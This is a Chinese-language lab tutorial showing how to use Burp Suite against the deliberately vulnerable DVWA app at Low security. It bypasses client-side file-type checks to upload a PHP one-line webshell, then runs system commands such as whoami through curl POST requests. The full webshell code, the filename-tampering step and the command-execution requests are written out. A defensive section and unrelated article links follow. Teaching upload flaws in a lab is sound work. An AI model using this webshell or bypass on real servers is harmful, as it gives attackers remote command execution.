实战演练:利用Burp Suite绕过DVWA文件上传限制实现PHP木马植入

news2026/3/14 4:26:44
1. 环境准备与工具介绍大家好我是老张在安全圈摸爬滚打十来年了今天咱们不聊那些虚头巴脑的理论直接上手干。很多刚入门的朋友一听到“文件上传漏洞”、“一句话木马”就觉得头大感觉是黑客大神才能玩的东西。其实不然只要你跟着我的步骤用DVWA这个“新手村”靶场和Burp Suite这把“瑞士军刀”半小时内你就能亲手完成一次完整的绕过攻击那种亲手打通关的成就感绝对比你听十节理论课都来得实在。咱们今天要干的事儿说白了就是“骗”过一个有缺陷的网站让它把咱们的“坏文件”当成“好图片”给收下。这个有缺陷的网站就是DVWADamn Vulnerable Web Application一个故意设计得漏洞百出的PHP/MySQL Web应用专门给咱们练手用的。而咱们的“骗术”核心就是Burp Suite。你可以把它理解成一个超级强大的“中间人”浏览器发给服务器的所有请求都得先经过它它不仅能看还能随手就给改了。我们今天就要利用这个特性把前端页面的验证给“绕”过去。工欲善其事必先利其器。在开始之前你得确保手头有这么几样东西一个可运行的DVWA环境。你可以用XAMPP、PHPStudy这类集成环境在本地快速搭建也可以装在虚拟机里。确保你能用浏览器正常访问它的登录页面。Burp Suite Community Edition社区版。对于咱们这个实验免费版的功能绰绰有余。去PortSwigger官网下载安装就行这是它的“老家”版本最新也最安全。一个文本编辑器。用来写我们的一句話木马Notepad、VS Code甚至系统自带的记事本都行。一个能发POST请求的工具。用来验证我们的木马是否生效。我习惯用命令行下的curl它轻巧强大Windows、macOS、Linux都自带或容易安装。如果你更喜欢图形化界面Postman也是极好的选择。把这几样东西准备好咱们的“手术台”和“手术刀”就齐活了。记住所有操作都在你自己的本地环境或授权的靶场进行这是安全研究的红线千万别越界。2. 理解漏洞文件上传的“安检”流程与突破口在动手之前咱们得先搞明白要攻击的目标到底是怎么工作的。想象一下你进地铁站首先你得有张票前端选择文件然后安检员前端验证会看一眼你的包是不是危险品比如检查文件后缀名是不是.jpg你觉得没问题了就把包放上传送带网络请求发送。传送带尽头还有另一个安检员服务器端验证他可能会用仪器再扫一遍检查文件内容、MIME类型等最后确认安全了你的包才会被允许进入地铁系统保存到服务器指定目录。文件上传漏洞就出在这个流程的某个环节“安检不严”或者“能被骗过”。DVWA靶场的“File Upload”模块默认设置下它的“安检”非常薄弱主要依赖客户端验证。什么叫客户端验证就是上面例子里的第一个安检员他的检查工作是在你的浏览器里用JavaScript完成的。你右键点击DVWA的文件上传页面选择“查看页面源代码”仔细找找大概率能看到一段JavaScript代码它的逻辑很简单检查你选择的文件后缀名是不是.jpg、.jpeg、.png之类的图片格式如果不是就弹个窗告诉你“只允许上传图片”根本不会把请求发出去。这种纯前端的验证对于用户来说是个友好的提示但对于安全来说形同虚设。因为攻击者完全可以不让这个JavaScript代码执行或者在请求已经生成后、发送前篡改它的内容。这就是我们今天的核心攻击思路明修栈道暗度陈仓。我们先假装成一个乖用户上传一个“看起来”是图片的文件比如把.php后缀改成.png骗过前端检查。然后在请求传输的半路上也就是Burp Suite拦截到请求的那一刻咱们再迅速把文件后缀改回.php这样服务器收到的就是一个彻头彻尾的PHP脚本文件了。这里的关键在于服务器端的验证如果存在的话是否足够严格。在DVWA最低安全级别下它可能只做了很简单的检查甚至没做检查直接就把文件保存了。这就给了我们可乘之机。所以理解“验证发生的地点”和“验证的严格程度”是理解所有文件上传绕过技巧的基础。3. 实战第一步制作“特制包裹”——PHP一句话木马咱们要上传的可不是一个普通的文本文件而是一个能远程执行命令的“后门”行话叫WebShell其中最简单高效的形式就是“一句话木马”。别被这个名字吓到它的代码真的就只有一行。打开你的文本编辑器新建一个文件输入以下内容?php eval($_POST[pass]); ?保存并命名为shell.php。这个文件就是我们今天的“特制包裹”。我来给你拆解一下这行代码到底是什么意思理解了它你就能举一反三?php ... ?这是PHP语言的起止标签告诉服务器这里面写的是PHP代码需要PHP解析器来执行。错误控制运算符。如果后面的代码执行出错比如我们传的参数不对这个符号会阻止错误信息显示在页面上让我们的攻击更隐蔽不易被管理员发现。$_POST[pass]这是一个超全局变量用于获取HTTP POST请求中一个名叫pass的参数的值。比如我们后面会发送passsystem(whoami)那么$_POST[pass]获取到的值就是字符串system(whoami)。eval()这是一个极其危险的函数它的作用是把字符串当作PHP代码来执行。于是eval($_POST[pass])就变成了执行我们通过POST请求传递过来的pass参数里的任何代码。所以整个木马的作用就是在服务器上开辟了一个“秘密通道”我们通过向这个PHP文件发送POST请求并在请求里带上pass参数参数里写什么PHP代码服务器就会执行什么代码。你可以让它执行system(ipconfig)查看网络配置执行system(dir)列出目录文件甚至连接数据库、下载其他恶意软件。威力巨大正因为如此它也是安全防护的重点查杀对象。现在这个shell.php文件如果直接上传前端的JavaScript一眼就能认出它不是.jpg或.png会直接拒绝。所以我们需要给它做个“易容”。很简单直接把文件名改成shell.png。放心这只是改了个名字文件里面的PHP代码一行没动。这个shell.png就是我们用来“过第一道安检”的伪装。4. 配置Burp Suite架设“拦截检查点”现在“特制包裹”准备好了我们需要在它的运输路线上设下我们的“关卡”——Burp Suite。这个过程就像是给浏览器设置了一个全局的代理所有流量都先流经Burp Suite再由它决定是原样转发还是修改后转发。首先打开Burp Suite。社区版启动时会让你选择临时项目还是保存项目选哪个都行。进入主界面后重点关注“Proxy”标签页然后切换到“Intercept”子标签。这里有一个关键的开关“Intercept is on”默认可能是关闭的。点击它让它变成 “Intercept is on”。这个开关打开就意味着Burp Suite开始拦截所有经过它的HTTP/HTTPS请求了。接着我们需要让浏览器的流量走到Burp Suite来。以最常用的Chrome浏览器为例Firefox等设置类似获取Burp Suite的代理监听地址。在Burp Suite中进入“Proxy” - “Options”。你会看到“Proxy Listeners”区域默认有一个监听在127.0.0.1:8080的项目。确保它的状态是Running。这个127.0.0.1:8080就是地址和端口。在电脑的系统设置中配置网络代理。或者为了不影响其他软件我更推荐在浏览器内部安装代理插件如SwitchyOmega进行配置。简单点你也可以直接在Chrome的命令行启动参数里设置但最通用的方法是配置系统代理在Windows设置中搜索“代理服务器设置”打开“手动设置代理”将服务器地址设为127.0.0.1端口设为8080。关键一步安装Burp Suite的CA证书。因为现在大部分网站都是HTTPS的Burp Suite要拦截并解密HTTPS流量需要浏览器信任它颁发的证书。在浏览器中访问http://burpsuite或127.0.0.1:8080点击“CA Certificate”下载证书文件。然后在浏览器的证书管理设置中导入该证书并信任它用于所有用途。配置完成后你可以在浏览器中访问任何一个HTTP网站比如http://example.com然后回头看Burp Suite的“Intercept”标签页如果看到请求被卡在那里说明拦截成功点击“Forward”按钮请求才会被发出去页面才能正常加载。这一步可能有点繁琐但一旦配通Burp Suite就成了你手中最犀利的武器。5. 核心攻击拦截、篡改与重放环境全部就绪好戏正式开场。咱们的剧本是这样的浏览器上传伪装文件shell.png - Burp Suite拦截请求 - 我们篡改请求把shell.png改回shell.php - Burp Suite放行篡改后的请求 - 服务器接收并保存shell.php。第一步触发上传请求。登录你的DVWA将左侧的安全级别设置为“Low”这是我们实验成功的前提。点击左侧的“File Upload”菜单。在文件选择框中选择我们之前准备好的那个“易容”后的文件——shell.png。注意此时你选的就是.png文件。点击“Upload”按钮。第二步Burp Suite拦截。此时由于你已经打开了Burp Suite的拦截功能并且浏览器流量正经过它这个上传请求并不会立刻发送到DVWA服务器而是被卡在了Burp Suite的“Intercept”标签页里。你应该能看到一个HTTP POST请求请求的地址是/dvwa/vulnerabilities/upload/。在这个被拦截的请求里你需要重点关注两部分内容请求体Body往下翻你会看到一段以------WebKitFormBoundary开头的内容这是表单上传的数据。其中有一行是Content-Disposition: form-data; nameuploaded; filenameshell.png。这里的filenameshell.png就是我们要下手的关键请求头虽然这次用不到但你也应该认识一下Content-Type它可能被设置为multipart/form-data这是文件上传的标准格式。第三步篡改文件名。在Burp Suite的拦截界面找到filenameshell.png这一行。直接用鼠标点击将它修改为filenameshell.php。是的就这么简单直接把.png改成.php。注意只改文件名其他地方不要动特别是那个Content-Type有的教程会让你把它从image/png改成text/php但在DVWA Low级别下这一步不是必须的我们只改后缀名就足够了。第四步发送篡改后的请求。改完之后点击拦截界面右上角的“Forward”按钮。这个被我们动了手脚的请求就会被发送到DVWA服务器。第五步查看结果。回到你的浏览器页面。如果一切顺利页面会显示文件上传成功的提示类似于shell.php successfully uploaded!并且会告诉你文件保存的路径通常是../hackable/uploads/这个目录下。这个过程的核心原理我再用个比喻帮你巩固一下前端验证就像海关只看护照封面文件名后缀我们做了个假封面.png通过了柜台检查。Burp Suite就像在登机廊桥里把我们拦下我们迅速把假封面撕掉露出真护照.php然后海关内部人员服务器只看护照内容文件内容发现是合法的是PHP代码就放行入境保存文件了。服务器端的那个“海关人员”要么在打盹没做验证要么业务不精验证规则简单让我们钻了空子。6. 验证攻击成果与“后门”对话文件上传成功的提示只是告诉我们服务器把文件存起来了。但这个shell.php到底能不能用是不是一个有效的后门我们还得亲自验证一下。这就需要用到一个工具来和我们植入的“一句话木马”进行“对话”。这里我强烈推荐使用curl这个命令行工具它轻便、直接是红队和系统管理员的最爱。打开你的命令行终端Windows用CMD或PowerShellmacOS/Linux用Terminal。首先我们得构造一个正确的“对话”请求。根据成功上传页面给出的路径假设我们的DVWA访问地址是http://localhost/dvwa/文件上传路径提示是../hackable/uploads/shell.php那么我们的木马完整访问地址就是http://localhost/dvwa/hackable/uploads/shell.php。我们要向这个地址发送一个HTTP POST请求并且按照木马代码的规定带上一个名为pass的参数。参数的值就是我们想让服务器执行的PHP代码。让我们从最简单的命令开始验证连接是否通畅curl -X POST http://localhost/dvwa/hackable/uploads/shell.php -d passecho Hello from WebShell!;这条命令的意思是-X POST指定使用POST方法发送请求。-d pass...这是--data的简写指定POST请求要携带的数据。数据内容是passecho Hello from WebShell!;即让服务器执行echo Hello from WebShell!;这段PHP代码。执行后如果服务器返回了Hello from WebShell!这行文字恭喜你这意味着木马已经被成功激活服务器执行了我们传递的代码。这是历史性的一刻你通过一个简单的HTTP请求就远程操控了服务器执行你指定的命令。接下来我们可以尝试一些更有实际意义的系统命令但需要借助PHP的system()函数。因为eval()执行的是PHP代码我们要执行系统命令就得调用PHP里能执行系统命令的函数curl -X POST http://localhost/dvwa/hackable/uploads/shell.php -d passsystem(whoami);这条命令会告诉服务器执行whoami这个系统命令查看当前Web服务运行的用户身份通常是www-data或apache等。这是信息收集的关键一步。再试一个curl -X POST http://localhost/dvwa/hackable/uploads/shell.php -d passsystem(dir C:\\);注意Windows和Linux路径表示不同。如果DVWA在Windows上路径用C:\\如果在Linux上用ls /如果服务器返回了C盘根目录的文件列表那么证明我们已经具备了在服务器上执行任意命令的能力。你可以尝试ipconfigWindows或ifconfigLinux查看网络信息用pwd查看当前目录甚至可以尝试写入新的文件。每一次成功的返回都清晰地展示了文件上传漏洞一旦被利用其危害性有多大——攻击者几乎可以获得服务器的一个命令行权限。7. 漏洞原理深度剖析与防御思考通过亲手实践我们已经成功绕过前端验证上传并执行了WebShell。现在让我们跳出攻击者的视角站在开发者和防御者的角度深入看看这个漏洞究竟是怎么产生的以及如何才能堵上它。漏洞根源分析信任了不可信的客户端DVWA在Low安全级别下完全依赖JavaScript进行文件类型验证。而客户端的一切都是可以被用户控制的包括禁用JS、修改内存数据或者像我们这样用代理工具直接篡改HTTP请求包。任何仅在前端客户端进行的验证都只能算是一种“用户体验优化”绝不能作为安全屏障。服务器端验证缺失或薄弱即使前端验证被绕过如果服务器端有健全的验证机制攻击依然会失败。但在此例中服务器端要么没有验证要么只做了非常简单的检查比如只检查了Content-Type头而这个头同样可以被Burp Suite轻易篡改。安全的验证必须在服务器端完成。危险函数eval()的滥用网站允许上传文件且文件内容被以脚本形式执行这本身就极其危险。更糟糕的是它还能通过eval()执行动态传入的代码。这属于“代码注入”漏洞。在真实场景中WebShell可能被伪装在图片文件末尾图片马或者利用解析特性如.php5,.phtml来触发。常见的服务器端防御思路真正的防御是一个立体的、纵深的过程绝不是靠一招一式白名单验证这是最有效的手段之一。不仅验证文件后缀更验证文件的真实类型。使用服务器端语言如PHP的finfo_file()函数读取文件的魔术数字Magic Number或MIME类型。一个.jpg文件的开头字节一定是FF D8 FF E0一个.png文件开头是89 50 4E 47。通过检查这些二进制签名可以准确判断文件类型后缀名伪装在此面前无效。重命名与随机化上传的文件不要使用用户提交的原始文件名。可以用“时间戳随机数”的方式生成新文件名并强制赋予一个安全的扩展名如.data。这样即使恶意文件被上传攻击者也无法直接通过猜测路径来访问。隔离存储将上传的文件存储在Web根目录之外。通过一个专门的脚本如download.php?idxxx来读取和提供这些文件。这样即使上传了.php文件因为它在Web目录外也无法通过URL直接访问执行。限制执行权限确保上传目录没有脚本执行权限。在Web服务器如Nginx, Apache配置中针对上传目录设置规则禁止解析PHP、JSP等脚本。文件内容扫描对上传的文件内容进行静态扫描检查是否包含危险的函数调用如eval(),system(),shell_exec()、WebShell特征码等。WAFWeb应用防火墙部署WAF可以拦截带有明显攻击特征的请求例如请求体中包含eval($_POST[这类经典的一句话木马模式。作为学习者我们亲手完成攻击演练目的绝不是为了搞破坏而是为了最深刻地理解“攻击是如何发生的”。只有知道了攻击者的所有伎俩你才能在设计系统、编写代码时下意识地避开这些陷阱建立起真正有效的防御。安全是一个攻防对抗、持续演进的过程今天你绕过的这个漏洞明天可能就需要你用更严谨的代码去修复它。这种从攻击到防御的思维转换才是安全实战训练带给我们的最大价值。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2409916.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringBoot-17-MyBatis动态SQL标签之常用标签

文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…

wordpress后台更新后 前端没变化的解决方法

使用siteground主机的wordpress网站,会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后,网站没有变化的情况。 不熟悉siteground主机的新手,遇到这个问题,就很抓狂,明明是哪都没操作错误&#x…

网络编程(Modbus进阶)

思维导图 Modbus RTU(先学一点理论) 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议,由 Modicon 公司(现施耐德电气)于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…

UE5 学习系列(二)用户操作界面及介绍

这篇博客是 UE5 学习系列博客的第二篇,在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下: 【Note】:如果你已经完成安装等操作,可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作,重…

IDEA运行Tomcat出现乱码问题解决汇总

最近正值期末周,有很多同学在写期末Java web作业时,运行tomcat出现乱码问题,经过多次解决与研究,我做了如下整理: 原因: IDEA本身编码与tomcat的编码与Windows编码不同导致,Windows 系统控制台…

利用最小二乘法找圆心和半径

#include <iostream> #include <vector> #include <cmath> #include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构 struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {} }; // 最小二乘法求圆心和半径 …

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式

一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明&#xff1a;假设每台服务器已…

XML Group端口详解

在XML数据映射过程中&#xff0c;经常需要对数据进行分组聚合操作。例如&#xff0c;当处理包含多个物料明细的XML文件时&#xff0c;可能需要将相同物料号的明细归为一组&#xff0c;或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码&#xff0c;增加了开…

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器的上位机配置操作说明

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器专为工业环境精心打造&#xff0c;完美适配AGV和无人叉车。同时&#xff0c;集成以太网与语音合成技术&#xff0c;为各类高级系统&#xff08;如MES、调度系统、库位管理、立库等&#xff09;提供高效便捷的语音交互体验。 L…

(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)

题目&#xff1a;3442. 奇偶频次间的最大差值 I 思路 &#xff1a;哈希&#xff0c;时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况&#xff0c;哈希表这里用数组即可实现。 C版本&#xff1a; class Solution { public:int maxDifference(string s) {int a[26]…

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型

摘要 拍照搜题系统采用“三层管道&#xff08;多模态 OCR → 语义检索 → 答案渲染&#xff09;、两级检索&#xff08;倒排 BM25 向量 HNSW&#xff09;并以大语言模型兜底”的整体框架&#xff1a; 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后&#xff0c;分别用…

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板&#xff0c;载入页面后&#xff0c;会显示引导弹窗&#xff0c;适用于引导用户使用页面&#xff0c;点击完成后&#xff0c;会显示下一个引导弹窗&#xff0c;直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…

接口测试中缓存处理策略

在接口测试中&#xff0c;缓存处理策略是一个关键环节&#xff0c;直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性&#xff0c;避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明&#xff1a; 一、缓存处理的核…

龙虎榜——20250610

上证指数放量收阴线&#xff0c;个股多数下跌&#xff0c;盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型&#xff0c;指数短线有调整的需求&#xff0c;大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的&#xff1a;御银股份、雄帝科技 驱动…

观成科技:隐蔽隧道工具Ligolo-ng加密流量分析

1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具&#xff0c;该工具基于TUN接口实现其功能&#xff0c;利用反向TCP/TLS连接建立一条隐蔽的通信信道&#xff0c;支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式&#xff0c;适应复杂网…

铭豹扩展坞 USB转网口 突然无法识别解决方法

当 USB 转网口扩展坞在一台笔记本上无法识别,但在其他电脑上正常工作时,问题通常出在笔记本自身或其与扩展坞的兼容性上。以下是系统化的定位思路和排查步骤,帮助你快速找到故障原因: 背景: 一个M-pard(铭豹)扩展坞的网卡突然无法识别了,扩展出来的三个USB接口正常。…

未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?

编辑&#xff1a;陈萍萍的公主一点人工一点智能 未来机器人的大脑&#xff1a;如何用神经网络模拟器实现更智能的决策&#xff1f;RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战&#xff0c;在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…

Linux应用开发之网络套接字编程(实例篇)

服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …

华为云AI开发平台ModelArts

华为云ModelArts&#xff1a;重塑AI开发流程的“智能引擎”与“创新加速器”&#xff01; 在人工智能浪潮席卷全球的2025年&#xff0c;企业拥抱AI的意愿空前高涨&#xff0c;但技术门槛高、流程复杂、资源投入巨大的现实&#xff0c;却让许多创新构想止步于实验室。数据科学家…

深度学习在微纳光子学中的应用

深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向&#xff1a; 逆向设计 通过神经网络快速预测微纳结构的光学响应&#xff0c;替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…